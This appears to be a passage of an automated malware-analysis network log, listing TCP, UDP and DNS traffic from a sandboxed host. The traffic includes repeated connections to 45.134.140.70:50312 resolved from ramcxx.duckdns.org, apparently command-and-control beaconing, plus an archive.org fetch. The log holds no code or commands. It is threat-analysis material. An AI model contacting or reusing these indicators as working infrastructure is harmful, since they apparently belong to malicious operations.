Sep 25, 2024 18:50:19.664632082 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664654970 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664666891 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664676905 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664688110 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664700031 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664710999 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664721966 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664741039 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664894104 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664906025 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664916992 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664927006 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664942980 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664956093 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664956093 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664956093 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.664975882 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664985895 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664998055 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.664998055 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665010929 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665023088 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665024996 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665035963 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665049076 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665069103 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665210962 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665221930 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665236950 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665249109 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665260077 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665271044 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665271997 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665286064 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665298939 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665298939 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665312052 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665318012 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665335894 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665407896 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665421963 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665445089 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665456057 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665466070 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665478945 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665491104 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665493011 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665502071 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665514946 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665527105 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665527105 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665555954 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665570021 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665585041 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665791035 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665801048 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665810108 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665833950 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665841103 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665846109 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665857077 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665862083 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665869951 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665879965 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665882111 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665890932 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665901899 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665909052 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665913105 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665925980 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665932894 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665942907 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.665951967 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665963888 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665973902 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665985107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.665994883 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666006088 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666007042 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666018963 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666019917 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666037083 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666054010 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666107893 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666120052 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666131973 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666141033 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666172028 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666193962 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666205883 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666215897 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666220903 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666230917 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666254044 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666276932 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666285038 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.666290045 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.666327953 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.734375954 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.734395027 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.734409094 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.734467983 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.736987114 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.737004042 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.737015963 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.737030029 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.737046003 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.737060070 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.737098932 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752264977 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752310038 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752329111 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752341986 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752353907 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752372980 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752403975 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752435923 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752448082 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752460003 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752471924 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752482891 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752484083 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752533913 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752548933 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752556086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752568960 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752590895 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752607107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752607107 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752655029 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752655983 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752669096 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752679110 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752696991 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752707958 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752711058 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752720118 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752736092 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752759933 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752777100 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752897978 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752909899 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752918959 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752931118 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752943993 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752950907 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752963066 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752974987 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752975941 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.752990007 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.752996922 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753000021 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753015041 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753026009 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753030062 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753041983 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753055096 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753056049 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753067017 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753078938 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753110886 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753170013 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753181934 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753190994 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753201008 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753211975 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753216982 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753223896 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753246069 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753258944 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753263950 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753284931 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753297091 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753304005 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753309011 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753329992 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753407001 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753418922 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753429890 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753442049 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753452063 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753453016 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753480911 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753483057 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753495932 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753504992 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753530025 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753590107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753601074 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753611088 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753622055 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753633976 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753637075 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753649950 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.753716946 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.753760099 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:20.003510952 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:20.137453079 CEST	49711	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:20.143238068 CEST	50312	49711	45.134.140.70	192.168.2.5
Sep 25, 2024 18:50:20.143318892 CEST	49711	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:20.149177074 CEST	49711	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:20.154659986 CEST	50312	49711	45.134.140.70	192.168.2.5
Sep 25, 2024 18:50:41.546613932 CEST	50312	49711	45.134.140.70	192.168.2.5
Sep 25, 2024 18:50:41.546803951 CEST	49711	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:41.546919107 CEST	49711	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:41.551712990 CEST	50312	49711	45.134.140.70	192.168.2.5
Sep 25, 2024 18:50:42.558100939 CEST	49713	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:42.563322067 CEST	50312	49713	45.134.140.70	192.168.2.5
Sep 25, 2024 18:50:42.563411951 CEST	49713	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:42.566917896 CEST	49713	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:50:42.572195053 CEST	50312	49713	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:03.935735941 CEST	50312	49713	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:03.935894012 CEST	49713	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:03.935981989 CEST	49713	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:03.940819979 CEST	50312	49713	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:04.948993921 CEST	49715	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:04.953999043 CEST	50312	49715	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:04.954138041 CEST	49715	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:04.957710981 CEST	49715	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:04.962625980 CEST	50312	49715	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:26.326968908 CEST	50312	49715	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:26.329688072 CEST	49715	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:26.329865932 CEST	49715	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:26.334781885 CEST	50312	49715	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:27.508852005 CEST	49716	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:27.513698101 CEST	50312	49716	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:27.516072989 CEST	49716	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:27.519445896 CEST	49716	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:27.524236917 CEST	50312	49716	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:48.884895086 CEST	50312	49716	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:48.885817051 CEST	49716	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:48.885817051 CEST	49716	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:48.896327972 CEST	50312	49716	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:49.902065992 CEST	49717	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:49.908386946 CEST	50312	49717	45.134.140.70	192.168.2.5
Sep 25, 2024 18:51:49.909658909 CEST	49717	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:49.912940025 CEST	49717	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:51:49.917951107 CEST	50312	49717	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:11.300097942 CEST	50312	49717	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:11.300190926 CEST	49717	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:11.300221920 CEST	49717	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:11.305056095 CEST	50312	49717	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:12.308075905 CEST	49718	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:12.313517094 CEST	50312	49718	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:12.313596964 CEST	49718	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:12.318135023 CEST	49718	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:12.323858976 CEST	50312	49718	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:33.738003969 CEST	50312	49718	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:33.741698027 CEST	49718	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:33.741743088 CEST	49718	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:33.746654034 CEST	50312	49718	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:34.874615908 CEST	49719	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:34.879648924 CEST	50312	49719	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:34.879792929 CEST	49719	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:34.883003950 CEST	49719	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:34.888641119 CEST	50312	49719	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:56.234184027 CEST	50312	49719	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:56.235749006 CEST	49719	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:56.235749006 CEST	49719	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:56.240698099 CEST	50312	49719	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:57.245655060 CEST	49720	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:57.250814915 CEST	50312	49720	45.134.140.70	192.168.2.5
Sep 25, 2024 18:52:57.250900984 CEST	49720	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:57.254540920 CEST	49720	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:52:57.259526014 CEST	50312	49720	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:18.658833027 CEST	50312	49720	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:18.658907890 CEST	49720	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:18.659002066 CEST	49720	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:18.664256096 CEST	50312	49720	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:19.667941093 CEST	49721	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:19.672990084 CEST	50312	49721	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:19.673079014 CEST	49721	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:19.679529905 CEST	49721	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:19.684727907 CEST	50312	49721	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:41.236524105 CEST	50312	49721	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:41.236809015 CEST	49721	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:41.237205029 CEST	49721	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:41.242959023 CEST	50312	49721	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:42.373260021 CEST	49722	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:42.378165960 CEST	50312	49722	45.134.140.70	192.168.2.5
Sep 25, 2024 18:53:42.378396988 CEST	49722	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:42.383671045 CEST	49722	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:53:42.388619900 CEST	50312	49722	45.134.140.70	192.168.2.5
Sep 25, 2024 18:54:03.773081064 CEST	50312	49722	45.134.140.70	192.168.2.5
Sep 25, 2024 18:54:03.773320913 CEST	49722	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:54:03.773320913 CEST	49722	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:54:03.778446913 CEST	50312	49722	45.134.140.70	192.168.2.5
Sep 25, 2024 18:54:05.027266979 CEST	49723	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:54:05.038265944 CEST	50312	49723	45.134.140.70	192.168.2.5
Sep 25, 2024 18:54:05.039783955 CEST	49723	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:54:05.043008089 CEST	49723	50312	192.168.2.5	45.134.140.70
Sep 25, 2024 18:54:05.049484015 CEST	50312	49723	45.134.140.70	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 18:50:12.195559978 CEST	64644	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:50:12.344655991 CEST	53	64644	1.1.1.1	192.168.2.5
Sep 25, 2024 18:50:20.021799088 CEST	53409	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:50:20.133908987 CEST	53	53409	1.1.1.1	192.168.2.5
Sep 25, 2024 18:50:32.386616945 CEST	64508	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:50:32.513113022 CEST	53	64508	1.1.1.1	192.168.2.5
Sep 25, 2024 18:51:27.347918034 CEST	58873	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:51:27.506309032 CEST	53	58873	1.1.1.1	192.168.2.5
Sep 25, 2024 18:52:34.745368958 CEST	62817	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:52:34.871671915 CEST	53	62817	1.1.1.1	192.168.2.5
Sep 25, 2024 18:53:42.245615005 CEST	51858	53	192.168.2.5	1.1.1.1
Sep 25, 2024 18:53:42.372384071 CEST	53	51858	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 18:50:12.195559978 CEST	192.168.2.5	1.1.1.1	0x3796	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:50:20.021799088 CEST	192.168.2.5	1.1.1.1	0x1034	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:50:32.386616945 CEST	192.168.2.5	1.1.1.1	0xf51f	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:51:27.347918034 CEST	192.168.2.5	1.1.1.1	0x6a18	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:52:34.745368958 CEST	192.168.2.5	1.1.1.1	0x74f5	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:53:42.245615005 CEST	192.168.2.5	1.1.1.1	0xa625	Standard query (0)	ramcxx.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 18:50:12.344655991 CEST	1.1.1.1	192.168.2.5	0x3796	No error (0)	ia600100.us.archive.org	207.241.227.240	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:50:20.133908987 CEST	1.1.1.1	192.168.2.5	0x1034	No error (0)	ramcxx.duckdns.org	45.134.140.70	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:50:32.513113022 CEST	1.1.1.1	192.168.2.5	0xf51f	No error (0)	ramcxx.duckdns.org	45.134.140.70	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:51:27.506309032 CEST	1.1.1.1	192.168.2.5	0x6a18	No error (0)	ramcxx.duckdns.org	45.134.140.70	A (IP address)	IN (0x0001)	false
Sep 25, 2024 18:52:34.871671915 CEST	1.1.1.1	192.168.2.5	0x74f5	No error (0)	ramcxx.duckdns.org	45.134.140.70	A (IP address)	IN (0x0001)	false
